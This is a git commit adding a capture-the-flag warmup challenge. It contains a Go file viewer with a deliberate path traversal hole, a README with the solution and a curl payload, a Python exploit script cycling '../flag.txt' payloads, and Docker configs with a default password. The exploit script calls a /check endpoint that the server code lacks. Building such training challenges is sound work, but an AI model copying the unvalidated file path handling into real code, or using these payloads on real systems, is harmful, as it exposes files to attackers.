added warmup chall
This commit is contained in:
@@ -1 +1 @@
|
||||
GEMASTIK{PLACEHOLDER}
|
||||
GEMASTIK18{PLACEHOLDER}
|
||||
@@ -1 +1 @@
|
||||
GEMASTIK{PLACEHOLDER}
|
||||
GEMASTIK18{PLACEHOLDER}
|
||||
@@ -1 +1 @@
|
||||
GEMASTIK{PLACEHOLDER}
|
||||
GEMASTIK18{PLACEHOLDER}
|
||||
@@ -0,0 +1 @@
|
||||
GEMASTIK18{PLACEHOLDER}
|
||||
@@ -13,4 +13,4 @@ services:
|
||||
- "13000:8000"
|
||||
- "13022:22"
|
||||
environment:
|
||||
- FLAG=GEMASTIK{local_flag}
|
||||
- FLAG=GEMASTIK18{local_flag}
|
||||
|
||||
@@ -1 +1 @@
|
||||
GEMASTIK{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
|
||||
GEMASTIK18{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
|
||||
@@ -13,4 +13,4 @@ services:
|
||||
- "12000:8000"
|
||||
- "12022:22"
|
||||
environment:
|
||||
- FLAG=GEMASTIK{local_flag}
|
||||
- FLAG=GEMASTIK18{local_flag}
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,73 @@
|
||||
# File Viewer Challenge
|
||||
|
||||
## Description
|
||||
A simple web challenge featuring a Local File Inclusion (LFI) vulnerability. Players need to exploit the file viewer functionality to read the flag located at `/flag.txt`.
|
||||
|
||||
## Challenge Overview
|
||||
- Simple file viewer web application
|
||||
- Players can view sample files through the `/view` endpoint
|
||||
- The file parameter is vulnerable to path traversal
|
||||
- The flag is located at `/flag.txt`
|
||||
- **No flag validation** - players must exploit the vulnerability to read the flag
|
||||
|
||||
## Endpoints
|
||||
- `/` - Main page with file viewer interface
|
||||
- `/view?file=<filename>` - View files (vulnerable to LFI)
|
||||
|
||||
## Files Structure
|
||||
- `/opt/challenge` - The compiled Go binary
|
||||
- `/opt/index.html` - HTML template
|
||||
- `/opt/main.go` - Source code (can be modified)
|
||||
- `/opt/rebuild.sh` - Script to rebuild the challenge after patching
|
||||
- `/opt/files/welcome.txt` - Sample file
|
||||
- `/opt/files/info.txt` - Info about the file viewer
|
||||
- `/opt/files/hint.txt` - Hint for the challenge
|
||||
- `/flag.txt` - The flag file (target, read-only)
|
||||
|
||||
## Vulnerability
|
||||
The `/view` endpoint uses `filepath.Join()` to concatenate the base directory with user input:
|
||||
|
||||
```go
|
||||
filePath := filepath.Join("/opt/files/", filename)
|
||||
```
|
||||
|
||||
This is vulnerable to path traversal attacks. Players can use `../` sequences to escape the `/opt/files/` directory and read arbitrary files on the system.
|
||||
|
||||
## Solution
|
||||
1. Access the file viewer at http://localhost:14000
|
||||
2. Notice the `/view?file=welcome.txt` endpoint
|
||||
3. Try path traversal: `/view?file=../flag.txt` (won't work - resolves to `/opt/flag.txt`)
|
||||
4. Use more `../` sequences: `/view?file=../../flag.txt`
|
||||
5. This resolves to `/opt/files/../../flag.txt` = `/flag.txt`
|
||||
6. Read the flag
|
||||
|
||||
## Example Exploit
|
||||
```bash
|
||||
# Read the flag
|
||||
curl http://localhost:14000/view?file=../../flag.txt
|
||||
```
|
||||
|
||||
## Deployment
|
||||
```bash
|
||||
docker-compose up --build -d
|
||||
```
|
||||
|
||||
## Access
|
||||
- Web: http://localhost:14000
|
||||
- SSH: ssh ctfuser@localhost -p 14022 (password: warmup123)
|
||||
|
||||
## Patching the Challenge
|
||||
Players can patch the vulnerability by:
|
||||
1. SSH into the container
|
||||
2. Edit `/opt/main.go` to fix the LFI vulnerability
|
||||
3. Run `/opt/rebuild.sh` to rebuild and restart the challenge
|
||||
4. Test that the vulnerability is fixed
|
||||
|
||||
Example fix - add path validation:
|
||||
```go
|
||||
// Prevent path traversal
|
||||
if strings.Contains(filename, "..") {
|
||||
http.Error(w, "Invalid file path", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,21 @@
|
||||
services:
|
||||
warmup:
|
||||
container_name: warmup_container
|
||||
hostname: warmup
|
||||
restart: always
|
||||
build:
|
||||
context: .
|
||||
args:
|
||||
- PASSWORD=${PASSWORD_10000:-warmup123}
|
||||
volumes:
|
||||
- ../../receiver/flags/warmup.txt:/flag.txt:ro
|
||||
- ../../utils/bashrc:/root/.bashrc:ro
|
||||
- ../../utils/preexec.sh:/root/.preexec.sh:ro
|
||||
ports:
|
||||
- "14000:8080"
|
||||
- "14022:22"
|
||||
environment:
|
||||
- PASSWORD=${PASSWORD_10000:-warmup123}
|
||||
- FLAG_FILE=/flag.txt
|
||||
extra_hosts:
|
||||
- "host.docker.internal:host-gateway"
|
||||
@@ -0,0 +1,53 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Exploit for Mango LFI Challenge
|
||||
Demonstrates Local File Inclusion vulnerability to read /flag.txt
|
||||
"""
|
||||
|
||||
import requests
|
||||
import sys
|
||||
|
||||
def exploit_lfi(base_url):
|
||||
"""
|
||||
Exploit the LFI vulnerability to read /flag.txt
|
||||
"""
|
||||
print("[*] Mango LFI Exploit")
|
||||
print(f"[*] Target: {base_url}")
|
||||
|
||||
# Try to read the flag using path traversal
|
||||
payloads = [
|
||||
"../flag.txt",
|
||||
"../../flag.txt",
|
||||
"../../../flag.txt",
|
||||
"../../../../flag.txt"
|
||||
]
|
||||
|
||||
for payload in payloads:
|
||||
print(f"\n[*] Trying payload: {payload}")
|
||||
try:
|
||||
response = requests.get(f"{base_url}/view", params={"file": payload})
|
||||
|
||||
if response.status_code == 200 and "GEMASTIK18{" in response.text:
|
||||
print(f"[+] SUCCESS! Flag found:")
|
||||
print(f"[+] {response.text.strip()}")
|
||||
|
||||
# Verify the flag
|
||||
flag = response.text.strip()
|
||||
verify_response = requests.post(f"{base_url}/check", data={"flag": flag})
|
||||
if "Correct" in verify_response.text:
|
||||
print("[+] Flag verified successfully!")
|
||||
return True
|
||||
elif response.status_code == 200:
|
||||
print(f"[!] File read successful, but no flag found:")
|
||||
print(f" {response.text[:100]}...")
|
||||
else:
|
||||
print(f"[-] Failed with status code: {response.status_code}")
|
||||
except Exception as e:
|
||||
print(f"[-] Error: {e}")
|
||||
|
||||
print("\n[-] Flag not found with any payload")
|
||||
return False
|
||||
|
||||
if __name__ == "__main__":
|
||||
base_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080"
|
||||
exploit_lfi(base_url)
|
||||
@@ -0,0 +1 @@
|
||||
GEMASTIK18{PLACEHOLDER}
|
||||
@@ -0,0 +1,15 @@
|
||||
server {
|
||||
listen 8080;
|
||||
server_name _;
|
||||
|
||||
access_log /var/log/nginx/warmup_access.log;
|
||||
error_log /var/log/nginx/warmup_error.log;
|
||||
|
||||
location / {
|
||||
proxy_pass http://127.0.0.1:8081;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>File Viewer</title>
|
||||
<style>
|
||||
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||
body {
|
||||
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif;
|
||||
background: #f5f5f5;
|
||||
min-height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
padding: 20px;
|
||||
}
|
||||
.container {
|
||||
background: white;
|
||||
border-radius: 8px;
|
||||
padding: 40px;
|
||||
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
|
||||
max-width: 500px;
|
||||
width: 100%;
|
||||
}
|
||||
h1 { color: #333; font-weight: 600; margin-bottom: 10px; font-size: 1.8rem; }
|
||||
.subtitle { color: #666; margin-bottom: 30px; font-size: 0.95rem; }
|
||||
.file-section { border-top: 1px solid #eee; padding-top: 25px; margin-top: 25px; }
|
||||
.file-title { color: #333; font-weight: 600; margin-bottom: 8px; font-size: 1rem; }
|
||||
.file-description { color: #666; margin-bottom: 15px; font-size: 0.9rem; }
|
||||
.file-links { display: flex; gap: 10px; flex-wrap: wrap; }
|
||||
.file-link {
|
||||
background: #f9f9f9;
|
||||
color: #333;
|
||||
text-decoration: none;
|
||||
padding: 8px 16px;
|
||||
border-radius: 4px;
|
||||
font-size: 0.9rem;
|
||||
transition: background 0.2s;
|
||||
border: 1px solid #e0e0e0;
|
||||
}
|
||||
.file-link:hover { background: #e8e8e8; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h1>File Viewer</h1>
|
||||
<p class="subtitle">Simple file viewing application</p>
|
||||
<div class="file-section">
|
||||
<div class="file-title">Available Files</div>
|
||||
<p class="file-description">View files from the collection</p>
|
||||
<div class="file-links">
|
||||
<a href="/view?file=welcome.txt" class="file-link">welcome.txt</a>
|
||||
<a href="/view?file=info.txt" class="file-link">info.txt</a>
|
||||
<a href="/view?file=hint.txt" class="file-link">hint.txt</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,54 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net/http"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// Vulnerable file viewing handler - LFI vulnerability
|
||||
func viewHandler(w http.ResponseWriter, r *http.Request) {
|
||||
// Get the file parameter
|
||||
filename := r.URL.Query().Get("file")
|
||||
|
||||
// Default file if none specified
|
||||
if filename == "" {
|
||||
filename = "welcome.txt"
|
||||
}
|
||||
|
||||
// Vulnerable: directly concatenating user input without proper validation
|
||||
// This allows path traversal attacks
|
||||
filePath := filepath.Join("/opt/files/", filename)
|
||||
|
||||
// Read the file
|
||||
content, err := ioutil.ReadFile(filePath)
|
||||
if err != nil {
|
||||
http.Error(w, "File not found or cannot be read", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "text/plain")
|
||||
w.Write(content)
|
||||
}
|
||||
|
||||
func homeHandler(w http.ResponseWriter, r *http.Request) {
|
||||
// Serve the HTML template
|
||||
htmlContent, err := ioutil.ReadFile("/opt/index.html")
|
||||
if err != nil {
|
||||
http.Error(w, "Template not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "text/html")
|
||||
w.Write(htmlContent)
|
||||
}
|
||||
|
||||
func main() {
|
||||
http.HandleFunc("/", homeHandler)
|
||||
http.HandleFunc("/view", viewHandler)
|
||||
|
||||
fmt.Println("Starting server on :8081")
|
||||
log.Fatal(http.ListenAndServe(":8081", nil))
|
||||
}
|
||||
Reference in New Issue
Block a user